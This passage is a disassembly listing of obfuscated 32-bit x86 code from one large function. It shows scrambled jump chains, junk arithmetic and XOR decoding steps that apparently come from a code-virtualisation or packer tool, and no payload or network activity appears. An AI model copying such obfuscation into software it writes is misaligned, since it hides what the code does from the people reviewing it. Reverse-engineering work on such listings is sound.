loc_5C1EBA:				; CODE XREF: sub_5A55E5+22420j
		add	eax, 5DC14F9Dh
		push	4EA9h
		mov	[esp+0B8h+var_B8], ebx
		sub	esp, 4
		mov	[esp+0BCh+var_BC], ebp
		push	6BD13661h
		mov	ebp, [esp+0C0h+var_C0]
		add	esp, 4
		shl	ebp, 3
		jmp	loc_5C5CBC
; ---------------------------------------------------------------------------


loc_5C1EE3:				; CODE XREF: sub_5A55E5+28B01j
		pop	esp
		mov	[esp+0B8h+var_B8], ebx
		jmp	loc_5D06A3
; ---------------------------------------------------------------------------


loc_5C1EEC:				; CODE XREF: sub_5A55E5+2D634j
		mov	esi, [esp+0B8h+var_B8]
		jmp	loc_5CEB5F
; ---------------------------------------------------------------------------


loc_5C1EF4:				; CODE XREF: sub_5A55E5+1B728j
		add	eax, 80A1196Bh
		sub	ebp, eax
		pop	eax
		xor	ebp, 823416Ch
		inc	ebp
		push	eax
		mov	eax, 6A1F1A1Ah
		or	ebp, eax
		mov	eax, [esp+9Ch+var_9C]
		add	esp, 4
		push	eax
		mov	eax, 2B7B77A9h
		jmp	loc_5C8308
; ---------------------------------------------------------------------------


loc_5C1F1F:				; CODE XREF: sub_5A55E5+247F1j
		xor	eax, 633676D9h
		jmp	loc_5CEA63
; ---------------------------------------------------------------------------


loc_5C1F29:				; CODE XREF: sub_5A55E5+23DD9j
		add	ch, 32h
		inc	ch
		push	7D97h
		mov	[esp+0A0h+var_A0], eax
		mov	al, 71h
		sub	al, 25h
		xor	al, 0B2h
		sub	ch, al
		pop	eax
		xor	dl, ch
		pop	ecx
		mov	al, dl
		pop	edx
		jmp	loc_5CB08C
; ---------------------------------------------------------------------------


loc_5C1F4A:				; CODE XREF: sub_5A55E5+25AA2j
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		push	3BDFh
		mov	[esp+94h+var_94], ecx
		push	[esp+94h+var_90]
		pop	ecx
		pop	[esp+94h+var_94]
		push	[esp+90h+var_90]
		mov	eax, [esp+94h+var_94]
		jmp	loc_5CEC2C
; ---------------------------------------------------------------------------


loc_5C1F72:				; CODE XREF: sub_5A55E5+1E46Ej
		push	ecx
		push	3A09h
		jmp	loc_5BFE11
; ---------------------------------------------------------------------------


loc_5C1F7D:				; CODE XREF: sub_5A55E5+1EA95j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], edi
		sub	esp, 4
		push	esp
		pop	[esp+0A0h+var_A0]
		jmp	loc_5C79CE
; ---------------------------------------------------------------------------


loc_5C1F9C:				; CODE XREF: sub_5A55E5+28F4Bj
		sub	esp, 4
		mov	[esp+0A0h+var_A0], esi
		mov	esi, 0BD6BFC86h
		xor	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_5D3A23
; ---------------------------------------------------------------------------


loc_5C1FB4:				; CODE XREF: sub_5A55E5+1A80Bj
		push	10ECh
		mov	[esp+94h+var_94], ebp
		push	eax
		jmp	loc_5CF92B
; ---------------------------------------------------------------------------


loc_5C1FC2:				; CODE XREF: sub_5A55E5+27AFBj
		mov	edi, esp
		jmp	loc_5C8D7F
; ---------------------------------------------------------------------------


loc_5C1FC9:				; CODE XREF: sub_5A55E5+1E6DBj
		pop	ecx
		mov	edx, [esp+94h+var_94]
		add	esp, 4
		jmp	loc_5CA603
; ---------------------------------------------------------------------------


loc_5C1FD8:				; CODE XREF: sub_5A55E5+211AEj
		pop	ecx
		sub	esp, 4
		jmp	loc_5C0C4F
; ---------------------------------------------------------------------------


loc_5C1FE4:				; CODE XREF: sub_5A55E5+241FEj
		push	ebp
		mov	ebp, 4A7C6D14h
		xor	ebp, 180E1E5Fh
		push	ebp
		xor	[esp+98h+var_98], 351F4001h
		pop	ecx
		xor	ecx, 351F4001h
		pop	ebp
		neg	ecx
		shl	ecx, 6
		add	ecx, 0AD6C10CDh
		and	eax, ecx
		pop	ecx
		jmp	loc_5CB83A
; ---------------------------------------------------------------------------


loc_5C2013:				; CODE XREF: sub_5A55E5+27409j
		push	edx
		push	53237551h
		push	[esp+94h+var_94]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		pop	edx
		mov	ecx, 53237555h
		jmp	loc_5D2628
; ---------------------------------------------------------------------------


loc_5C2034:				; CODE XREF: sub_5A55E5+2C459j
		add	ecx, edx
		pop	edx
		sub	ecx, 6BA4288Ch
		jmp	loc_5D1E71
; ---------------------------------------------------------------------------


loc_5C2042:				; CODE XREF: sub_5A55E5+23FF0j
		push	ecx
		mov	ecx, 6A4841F3h
		sub	ecx, 1E8A4631h
		add	ecx, 2000515Fh
		jmp	loc_5C6B86
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 41ACh
		mov	word ptr [esp+8Eh+var_90+2], ax
		jmp	loc_5D1266
; ---------------------------------------------------------------------------


loc_5C206A:				; CODE XREF: sub_5A55E5+2E3BCj
		push	[esp+8Eh+var_8C+2]
		jmp	loc_5BFDD1
; ---------------------------------------------------------------------------


loc_5C2073:				; CODE XREF: sub_5A55E5+2B25Cj
		pop	edi
		jmp	loc_5CCDE8
; ---------------------------------------------------------------------------


loc_5C2079:				; CODE XREF: sub_5A55E5+2E390j
		add	edx, 2A360F90h
		pop	ebx
		jmp	loc_5D126B
; ---------------------------------------------------------------------------


loc_5C2085:				; CODE XREF: sub_5A55E5+21247j
		mov	dl, byte ptr [esp+8Ah+var_8C+2]
		add	esp, 4
		sub	dl, 0C1h
		jmp	loc_5CEC51
; ---------------------------------------------------------------------------


loc_5C2093:				; CODE XREF: sub_5A55E5+1C0B8j
		mov	edi, [esp+9Eh+var_A0+2]
		jmp	loc_5CBFFE
; ---------------------------------------------------------------------------


loc_5C209B:				; CODE XREF: sub_5A55E5+2DE83j
		push	ebp
		mov	ebp, 18042B17h
		and	ebp, 635E4F49h
		dec	ebp
		jmp	loc_5C4CF2
; ---------------------------------------------------------------------------


loc_5C20AD:				; CODE XREF: sub_5A55E5+2796Dj
		add	ebx, eax
		add	ebx, 780B34BAh
		jmp	loc_5CC551
; ---------------------------------------------------------------------------


loc_5C20BA:				; CODE XREF: sub_5A55E5+1A431j
		mov	[esp+58h+var_58], ebx
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		jmp	loc_5CFB0C
; ---------------------------------------------------------------------------


loc_5C20D8:				; CODE XREF: sub_5A55E5+2CC95j
		sub	eax, edx
		jmp	loc_5CCFCF
; ---------------------------------------------------------------------------


loc_5C20DF:				; CODE XREF: sub_5A55E5+21010j
		pop	esi
		push	[esp+54h+var_54]
		mov	esi, [esp+58h+var_58]
		add	esp, 4
		add	esp, 4
		jmp	loc_5CFBB8
; ---------------------------------------------------------------------------


loc_5C20F7:				; CODE XREF: sub_5A55E5+2DB2Fj
		push	1Ch
		jmp	loc_5D1646
; ---------------------------------------------------------------------------


loc_5C2101:				; CODE XREF: sub_5A55E5+299F6j
		movzx	cx, ah
		push	small 7E94h
		mov	word ptr [esp+56h+var_58+2], cx
		jmp	loc_5C33EE
; ---------------------------------------------------------------------------


loc_5C2112:				; CODE XREF: sub_5A55E5+2628Ej
		push	ecx
		mov	ecx, edx
		push	ebp
		mov	ebp, ecx
		mov	esi, ebp
		push	[esp+5Eh+var_60+2]
		pop	ebp
		add	esp, 4
		pop	ecx
		pop	edx
		add	ecx, 29842E22h
		jmp	loc_5C0C42
; ---------------------------------------------------------------------------


loc_5C2131:				; CODE XREF: sub_5A55E5+2B014j
		pop	edx
		jmp	loc_5C484E
; ---------------------------------------------------------------------------


loc_5C2137:				; CODE XREF: sub_5A55E5+1D462j
		xchg	eax, [esp+4Eh+var_50+2]
		pop	edi
		neg	edi
		add	edi, 93DADB48h
		jmp	loc_5D1638
; ---------------------------------------------------------------------------


loc_5C2148:				; CODE XREF: sub_5A55E5+276F1j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+4Ah+var_4A]
		push	1C3Ch
		mov	[esp+4Eh+var_50+2], esi
		push	2E74h
		mov	[esp+52h+var_54+2], esp
		jmp	loc_5C8AE2
; ---------------------------------------------------------------------------


loc_5C2166:				; CODE XREF: sub_5A55E5+20CBDj
		mov	[esp+52h+var_54+2], edx
		push	62CA4162h
		jmp	loc_5C6189
; ---------------------------------------------------------------------------


loc_5C2173:				; CODE XREF: sub_5A55E5+1CC67j
		mov	esp, [esp+56h+var_58+2]
		jmp	loc_5CAA4B
; ---------------------------------------------------------------------------


loc_5C217B:				; CODE XREF: sub_5A55E5+21D6Ej
		sub	ecx, 1F7D1951h
		mov	eax, [esp+56h+var_58+2]
		jmp	loc_5C4866
; ---------------------------------------------------------------------------


loc_5C2189:				; CODE XREF: sub_5A55E5+2ACAAj
		push	1EE1h
		mov	[esp+5Ah+var_5C+2], ecx
		mov	ecx, 24CF5113h
		or	ecx, 0FED5377h
		xor	ecx, 37403D7h
		shr	ecx, 7
		dec	ecx
		dec	ecx
		xor	ecx, 3509671Dh
		sub	ebx, ecx
		jmp	loc_5CB428
; ---------------------------------------------------------------------------


loc_5C21B4:				; CODE XREF: sub_5A55E5+20A9Cj
		pop	edx
		jmp	loc_5CF9DE
; ---------------------------------------------------------------------------


loc_5C21BA:				; CODE XREF: sub_5A55E5+20FDBj
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebp
		jmp	loc_5CD562
; ---------------------------------------------------------------------------


loc_5C21C5:				; CODE XREF: sub_5A55E5+249FCj
		mov	[esp+5Ah+var_5C+2], edx
		not	[esp+5Ah+var_5C+2]
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		xchg	edx, esi
		push	edx
		mov	edx, 1
		add	esi, edx
		pop	edx
		jmp	loc_5D0DB1
; ---------------------------------------------------------------------------


loc_5C21E4:				; CODE XREF: sub_5A55E5+23FB7j
		inc	eax
		add	eax, 0F3CEFDBCh
		add	edi, eax
		pop	eax
		push	ebx
		jmp	loc_5CFE37
; ---------------------------------------------------------------------------
		push	[esp+56h+var_58+2]
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	3600h
		mov	[esp+5Ah+var_5C+2], ecx
		push	1A49h
		mov	[esp+5Eh+var_60+2], esp
		add	[esp+5Eh+var_60+2], 4
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5C5BD7
; ---------------------------------------------------------------------------


loc_5C221E:				; CODE XREF: sub_5A55E5+24791j
		add	esp, 4
		jmp	loc_5C8F36
; ---------------------------------------------------------------------------


loc_5C2226:				; CODE XREF: sub_5A55E5+1E13Dj
		pop	esp
		push	bx
		jmp	loc_5D2DA7
; ---------------------------------------------------------------------------


loc_5C222E:				; CODE XREF: sub_5A55E5+1EA66j
		add	edx, 79597435h
		add	edx, ebx
		jmp	loc_5D3125
; ---------------------------------------------------------------------------


loc_5C223B:				; CODE XREF: sub_5A55E5+2E78Fj
		push	ebx
		push	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+64h+var_64]
		jmp	loc_5C2173
; ---------------------------------------------------------------------------


loc_5C2251:				; CODE XREF: sub_5A55E5+2C996j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+64h+var_64]
		jmp	loc_5C8733
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+64h+var_64]
		sub	esp, 4
		mov	[esp+68h+var_68], ecx
		push	4957h
		mov	[esp+6Ch+var_6C], esp
		push	esi
		jmp	loc_5D0142
; ---------------------------------------------------------------------------


loc_5C227A:				; CODE XREF: sub_5A55E5+2CB26j
		add	ebp, 0FBB3D665h
		jmp	loc_5D395B
; ---------------------------------------------------------------------------


loc_5C2285:				; CODE XREF: sub_5A55E5+2B408j
		dec	eax
		not	eax
		inc	eax
		jmp	loc_5CB451
; ---------------------------------------------------------------------------


loc_5C228E:				; CODE XREF: sub_5A55E5+2787Dj
		shr	eax, 7
		neg	eax
		xor	eax, 3FA57689h
		jmp	loc_5D1A75
; ---------------------------------------------------------------------------


loc_5C229D:				; CODE XREF: sub_5A55E5+295E0j
		xchg	edi, [esp+70h+var_70]
		pop	esp
		inc	edi
		inc	edi
		push	ebp
		jmp	loc_5CD5C1
; ---------------------------------------------------------------------------


loc_5C22A9:				; CODE XREF: sub_5A55E5+2D98Aj
		shl	ebp, 5
		shl	ebp, 3
		jmp	loc_5C32DE
; ---------------------------------------------------------------------------


loc_5C22B4:				; CODE XREF: sub_5A55E5+2AC08j
		push	ebp
		mov	ebp, 48F136CBh
		jmp	loc_5D0B84
; ---------------------------------------------------------------------------


loc_5C22BF:				; CODE XREF: sub_5A55E5+26ACDj
		shl	ebx, 3
		xor	ebx, 6F690980h
		add	ebx, 29FE38C1h
		xor	ebx, 998E3F51h
		xor	esi, ebx
		pop	ebx
		xor	ecx, esi
		pop	esi
		add	edx, ecx
		jmp	loc_5D2709
; ---------------------------------------------------------------------------


loc_5C22E1:				; CODE XREF: sub_5A55E5+2A80Dj
		push	ebp
		mov	ebp, 78423A83h
		dec	ebp
		inc	ebp
		jmp	loc_5C7075
; ---------------------------------------------------------------------------


loc_5C22EE:				; CODE XREF: sub_5A55E5+1CFD2j
		mov	[esp+70h+var_70], edx
		mov	dl, ch
		push	4053h
		mov	[esp+74h+var_74], eax
		push	ebx
		mov	bl, dl
		push	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 3FC75F47h
		add	ecx, 0C038A0BDh
		jmp	loc_5CECD6
; ---------------------------------------------------------------------------


loc_5C2319:				; CODE XREF: sub_5A55E5+1C153j
		mov	eax, [esp+6Ah+var_6C+2]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp+66h+var_68+2]
		push	24B2h
		mov	[esp+6Ah+var_6C+2], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_5C3A21
; ---------------------------------------------------------------------------


loc_5C2337:				; CODE XREF: sub_5A55E5+2D872j
		mov	[esp+6Eh+var_70+2], ecx
		mov	ch, 6Ch
		and	dl, ch
		pop	ecx
		and	dl, 18h
		push	ecx
		mov	ch, 37h
		sub	ch, 27h
		inc	ch
		push	ax
		mov	al, 0B7h
		add	ch, 15h
		add	ch, al
		sub	ch, 15h
		pop	ax
		add	dl, ch
		jmp	loc_5CC5F3
; ---------------------------------------------------------------------------


loc_5C235F:				; CODE XREF: sub_5A55E5+27382j
		add	ecx, 6B0C0D96h
		sub	ecx, 58B74722h
		mov	edx, [esp+6Eh+var_70+2]
		jmp	loc_5D3B60
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebx
		push	edi
		push	esp
		jmp	loc_5C6F7F
; ---------------------------------------------------------------------------


loc_5C2386:				; CODE XREF: sub_5A55E5+260F8j
		push	[esp+7Ah+var_7C+2]
		jmp	loc_5C0199
; ---------------------------------------------------------------------------


loc_5C238E:				; CODE XREF: sub_5A55E5+1F2D2j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 546C0103h
		sub	ecx, 319D365Fh
		sub	ecx, 22CECAA0h
		add	esi, ecx
		jmp	loc_5C921D
; ---------------------------------------------------------------------------


loc_5C23B0:				; CODE XREF: sub_5A55E5+25209j
		shr	edi, 3
		sub	edi, 24F4A64h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+7Eh+var_80+2]
		jmp	loc_5C97F5
; ---------------------------------------------------------------------------


loc_5C23CA:				; CODE XREF: sub_5A55E5+25C30j
		add	esp, 4
		jmp	loc_5CEAE0
; ---------------------------------------------------------------------------


loc_5C23D5:				; CODE XREF: sub_5A55E5+22F6Cj
		push	edx
		mov	edx, 368E7B23h
		inc	edx
		jmp	loc_5CF289
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C23E9:				; CODE XREF: sub_5A55E5+25A47j
		mov	[esp+82h+var_84+2], ebx
		push	69BEh
		push	esp
		jmp	loc_5BF9E7
; ---------------------------------------------------------------------------


loc_5C23F7:				; CODE XREF: sub_5A55E5+20DD0j
		xor	ebp, [esp+8Ah+var_8C+2]
		xor	[esp+8Ah+var_8C+2], ebp
		jmp	loc_5CBAB7
; ---------------------------------------------------------------------------


loc_5C2402:				; CODE XREF: sub_5A55E5+1AD40j
		push	edx
		jmp	loc_5CE95D
; ---------------------------------------------------------------------------


loc_5C2408:				; CODE XREF: sub_5A55E5+298DEj
		not	eax
		xchg	eax, ebx
		shr	ebx, 7
		or	ebx, 70C87495h
		jmp	loc_5C658D
; ---------------------------------------------------------------------------


loc_5C2419:				; CODE XREF: sub_5A55E5+29490j
		add	edi, eax
		pop	eax
		jmp	loc_5C79F0
; ---------------------------------------------------------------------------


loc_5C2421:				; CODE XREF: sub_5A55E5+23917j
		mov	ecx, [esp+0A8h+var_A8]
		add	esp, 4
		push	edi
		push	esi
		push	6F15h
		mov	[esp+0B0h+var_B0], ebx
		mov	ebx, 68544A94h
		jmp	loc_5C1AE5
; ---------------------------------------------------------------------------


loc_5C243E:				; CODE XREF: sub_5A55E5+1A44Fj
		sub	edi, 12814E45h
		jmp	loc_5D2C1E
; ---------------------------------------------------------------------------


loc_5C2449:				; CODE XREF: sub_5A55E5+2D613j
		and	ecx, 69313110h
		xor	ecx, 1F8C2506h
		sub	eax, ecx
		pop	ecx
		not	eax
		sub	eax, 0A5C6B7B2h
		jmp	loc_5C36D0
; ---------------------------------------------------------------------------


loc_5C2464:				; CODE XREF: sub_5A55E5+1E4A2j
		pop	esi
		sub	ebp, 5BD3627h
		jmp	loc_5C196A
; ---------------------------------------------------------------------------


loc_5C2470:				; CODE XREF: sub_5A55E5+22182j
		pop	edi
		xor	ebp, ebx
		mov	ebx, [esp+4Ah+var_4A]
		add	esp, 4
		jmp	loc_5C8E25
; ---------------------------------------------------------------------------


loc_5C247E:				; CODE XREF: sub_5A55E5+1C437j
		sub	eax, 0F8601003h
		sub	ebp, eax
		mov	eax, [esp+0BAh+var_BC+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0BEh+var_C0+2]
		pop	esp
		neg	ebp
		shr	ebp, 2
		inc	ebp
		sub	ebp, 0C460E92h
		jmp	loc_5CF759
; ---------------------------------------------------------------------------


loc_5C24AC:				; CODE XREF: sub_5A55E5+2D67Dj
		mov	ebp, [esp+0BAh+var_BC+2]
		jmp	loc_5D3B1E
; ---------------------------------------------------------------------------


loc_5C24B4:				; CODE XREF: sub_5A55E5+1BAE4j
		pop	edx
		sub	edi, 0FFFFFFFFh
		jmp	loc_5C47FD
; ---------------------------------------------------------------------------
		sub	esp, 2
		mov	word ptr [esp+8Ch+var_8C], bp
		push	small word ptr [esp+8Ch+var_8C+2]
		mov	bp, word ptr [esp+8Eh+var_90+2]
		push	edx
		mov	edx, esp
		jmp	loc_5C50FC
; ---------------------------------------------------------------------------


loc_5C24D8:				; CODE XREF: sub_5A55E5+20D60j
		add	esp, 4
		jmp	loc_5D2B21
; ---------------------------------------------------------------------------


loc_5C24E3:				; CODE XREF: sub_5A55E5+1FE15j
		not	ebp
		push	ebp
		xchg	eax, [esp+92h+var_94+2]
		jmp	loc_5D21F8
; ---------------------------------------------------------------------------


loc_5C24EE:				; CODE XREF: sub_5A55E5+2D34Cj
		push	ebx
		mov	bl, 70h
		push	ax
		mov	ah, 57h
		add	bl, ah
		mov	ax, word ptr [esp+98h+var_98]
		add	esp, 2
		neg	bl
		xor	bl, 52h
		shl	bl, 1
		push	ecx
		mov	ch, 0C5h
		sub	bl, ch
		mov	ecx, [esp+98h+var_98]
		add	esp, 4
		sub	bl, 4Eh
		jmp	loc_5D2450
; ---------------------------------------------------------------------------


loc_5C251B:				; CODE XREF: sub_5A55E5+2C388j
		pop	esi
		push	eax
		mov	eax, 5E7B41DCh
		and	eax, 70341B9Ch
		not	eax
		add	eax, 0FFFFFFFFh
		xor	eax, 0AFCFFE66h
		push	edi
		jmp	loc_5C9D64
; ---------------------------------------------------------------------------


loc_5C2539:				; CODE XREF: sub_5A55E5+2194Bj
		pop	eax
		jmp	loc_5C45E6
; ---------------------------------------------------------------------------


loc_5C253F:				; CODE XREF: sub_5A55E5+1D512j
		pop	edi
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+90h+var_90]
		pop	esp
		mov	ax, word ptr [esp+8Ch+var_8C]
		push	7D56h
		mov	[esp+90h+var_90], ebx
		jmp	loc_5C4BA8
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2569:				; CODE XREF: sub_5A55E5+1AD65j
		xchg	edx, [esp+0A0h+var_A0]
		jmp	loc_5CE64D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebp
		push	edi
		push	518A3293h
		mov	edi, [esp+0ACh+var_AC]
		jmp	loc_5BFB7E
; ---------------------------------------------------------------------------


loc_5C2583:				; CODE XREF: sub_5A55E5+2D4C8j
		add	ecx, 4
		xor	ecx, [esp+0ACh+var_AC]
		jmp	loc_5C8977
; ---------------------------------------------------------------------------


loc_5C2591:				; CODE XREF: sub_5A55E5+22393j
		add	[esp+0ACh+var_AC], 4
		push	[esp+0ACh+var_AC]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	3F6Fh
		jmp	loc_5CD4AF
; ---------------------------------------------------------------------------


loc_5C25AF:				; CODE XREF: sub_5A55E5+1F484j
		push	ecx
		mov	ch, 0E0h
		push	7783h
		jmp	loc_5C22EE
; ---------------------------------------------------------------------------


loc_5C25BC:				; CODE XREF: sub_5A55E5+266A1j
		add	ebp, eax
		push	edi
		mov	edi, 26740080h
		add	ebp, edi
		pop	edi
		push	edi
		jmp	loc_5C971A
; ---------------------------------------------------------------------------


loc_5C25CD:				; CODE XREF: sub_5A55E5+272EBj
		add	esp, 4
		add	edx, 2C7608ADh
		sub	edx, eax
		jmp	loc_5CF30E
; ---------------------------------------------------------------------------


loc_5C25E0:				; CODE XREF: sub_5A55E5+245F4j
		sub	ebx, 4980E842h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5C728C
; ---------------------------------------------------------------------------


loc_5C25EE:				; CODE XREF: sub_5A55E5+2A0E0j
		xchg	ebx, [esp+0B0h+var_B0]
		pop	esp
		mov	[esp+0ACh+var_AC], ebx
		mov	ebx, 4
		add	[esp+0ACh+var_A8], ebx
		pop	ebx
		push	[esp+0A8h+var_A8]
		jmp	loc_5C6E08
; ---------------------------------------------------------------------------


loc_5C2607:				; CODE XREF: sub_5A55E5+1B339j
		add	esp, 4
		jmp	loc_5CBA04
; ---------------------------------------------------------------------------


loc_5C2612:				; CODE XREF: sub_5A55E5+1E8F3j
		sub	esp, 4
		mov	[esp+88h+var_88], edi
		jmp	loc_5CB8A3
; ---------------------------------------------------------------------------


loc_5C2620:				; CODE XREF: sub_5A55E5+29F71j
		add	esp, 4
		jmp	loc_5CDC6B
; ---------------------------------------------------------------------------


loc_5C262B:				; CODE XREF: sub_5A55E5+2B881j
		mov	ah, ch
		pop	ecx
		xor	cl, ah
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_5C93B5
; ---------------------------------------------------------------------------


loc_5C263B:				; CODE XREF: sub_5A55E5+234AFj
		pop	eax
		xor	edx, ebp
		pop	ebp
		add	edx, 0FFFFFFFFh
		jmp	loc_5C732F
; ---------------------------------------------------------------------------


loc_5C264A:				; CODE XREF: sub_5A55E5+2AB47j
		xor	edi, 0D0A008F5h
		sub	esi, edi
		pop	edi
		push	edi
		mov	edi, 3C3B08F9h
		add	eax, edi
		jmp	loc_5C43D3
; ---------------------------------------------------------------------------


loc_5C2660:				; CODE XREF: sub_5A55E5+2E7A3j
		mov	esp, [esp+74h+var_74]
		sub	bl, 48h
		jmp	loc_5D19F4
; ---------------------------------------------------------------------------


loc_5C266B:				; CODE XREF: sub_5A55E5+239F8j
		xor	eax, edx
		jmp	loc_5C0AB8
; ---------------------------------------------------------------------------


loc_5C2672:				; CODE XREF: sub_5A55E5+24753j
		mov	edi, 0C176CE7Eh
		sub	ebx, edi
		jmp	loc_5D06EC
; ---------------------------------------------------------------------------


loc_5C267E:				; CODE XREF: sub_5A55E5+26C73j
		add	edx, 25F3F09Ch
		add	eax, edx
		push	[esp+74h+var_74]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+78h+var_78]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_5D1CB9
; ---------------------------------------------------------------------------


loc_5C26A6:				; CODE XREF: sub_5A55E5+249DAj
		add	eax, 64E8F5F0h
		add	edx, eax
		pop	eax
		jmp	loc_5C403D
; ---------------------------------------------------------------------------


loc_5C26B3:				; CODE XREF: sub_5A55E5+29BFAj
		pop	eax
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edx
		mov	edx, 0FB3905DDh
		sub	edi, 68F327Dh
		add	edi, edx
		add	edi, 68F327Dh
		mov	edx, [esp+6Ch+var_6C]
		add	esp, 4
		add	ebx, 249A3105h
		sub	ebx, edi
		sub	ebx, 249A3105h
		push	[esp+68h+var_68]
		pop	edi
		push	ebp
		jmp	loc_5C1A3F
; ---------------------------------------------------------------------------


loc_5C26F1:				; CODE XREF: sub_5A55E5+1D241j
		pop	ebx
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebp
		push	eax
		mov	eax, 4
		push	eax
		pop	ebp
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	7360h
		jmp	loc_5CF4AB
; ---------------------------------------------------------------------------


loc_5C270E:				; CODE XREF: sub_5A55E5+21FA3j
		mov	ecx, edi
		pop	edi
		jmp	loc_5C0FBB
; ---------------------------------------------------------------------------


loc_5C2716:				; CODE XREF: sub_5A55E5+27D4Ej
		add	esi, 344D2289h
		sub	esi, ebp
		sub	esi, 344D2289h
		jmp	loc_5C1C1C
; ---------------------------------------------------------------------------


loc_5C2729:				; CODE XREF: sub_5A55E5+24494j
		mov	ebx, 58CB4513h
		dec	ebx
		add	ebx, 0A734BAF2h
		push	ebp
		mov	ebp, 257F2A70h
		add	ecx, ebp
		pop	ebp
		add	ecx, ebx
		jmp	loc_5CBB3A
; ---------------------------------------------------------------------------


loc_5C2745:				; CODE XREF: sub_5A55E5+21311j
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+68h+var_68]
		xor	[esp+68h+var_68], ebp
		xor	ebp, [esp+68h+var_68]
		pop	esp
		jmp	loc_5C53E7
; ---------------------------------------------------------------------------


loc_5C2765:				; CODE XREF: sub_5A55E5+1E779j
		add	eax, 0E4124D7h
		sub	eax, 398E0895h
		push	edx
		jmp	loc_5C8AE8
; ---------------------------------------------------------------------------


loc_5C2775:				; CODE XREF: sub_5A55E5+250E7j
		mov	[esp+68h+var_68], edi
		mov	edi, 588F4312h
		mov	edx, 0DBC6E93Ch
		add	edx, 2F0E5CDEh
		add	edx, edi
		sub	edx, 2F0E5CDEh
		pop	edi
		xor	edx, esi
		pop	esi
		add	eax, edx
		mov	edx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_5C4C14
; ---------------------------------------------------------------------------


loc_5C27A1:				; CODE XREF: sub_5A55E5+29A94j
		sub	bx, dx
		sub	bx, 5762h
		pop	edx
		sub	bx, bp
		push	si
		jmp	loc_5CA5D0
; ---------------------------------------------------------------------------


loc_5C27B4:				; CODE XREF: sub_5A55E5+1E112j
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		xchg	eax, ebp
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_5D0B61
; ---------------------------------------------------------------------------


loc_5C27C6:				; CODE XREF: sub_5A55E5+1F1A7j
		xor	ebp, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], ebp
		xor	ebp, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		mov	[esp+5Ah+var_5C+2], ebx
		push	esp
		mov	ebx, [esp+5Eh+var_60+2]
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	ebx
		mov	ebx, 60AB63CAh
		push	ecx
		mov	ecx, 191872B1h
		add	ecx, 55EE11E6h
		not	ecx
		jmp	loc_5D0C04
; ---------------------------------------------------------------------------
		dd 83242489h, 58042404h, 0FFE75AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5C2809:				; CODE XREF: sub_5A55E5+1FF1Cj
		add	eax, edx
		pop	edx
		jmp	loc_5C461A
; ---------------------------------------------------------------------------


loc_5C2811:				; CODE XREF: sub_5A55E5+263BFj
		push	esi
		mov	esi, 5CA04286h
		jmp	loc_5CB944
; ---------------------------------------------------------------------------


loc_5C281C:				; CODE XREF: sub_5A55E5+1D552j
		pop	[esp+66h+var_68+2]
		add	[esp+62h+var_64+2], 4
		jmp	loc_5C26F1
; ---------------------------------------------------------------------------


loc_5C282B:				; CODE XREF: sub_5A55E5+265FFj
		shl	bl, 8
		push	0
		jmp	loc_5CEF5B
; ---------------------------------------------------------------------------


loc_5C2838:				; CODE XREF: sub_5A55E5+243A4j
		add	esp, 4
		xor	ebx, 428A6FFDh
		xor	ebx, 0FA06C454h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5C6156
; ---------------------------------------------------------------------------


loc_5C2852:				; CODE XREF: sub_5A55E5+1FB77j
		mov	[esp+5Eh+var_60+2], ebx
		push	3AA2h
		push	esp
		jmp	loc_5C6FB7
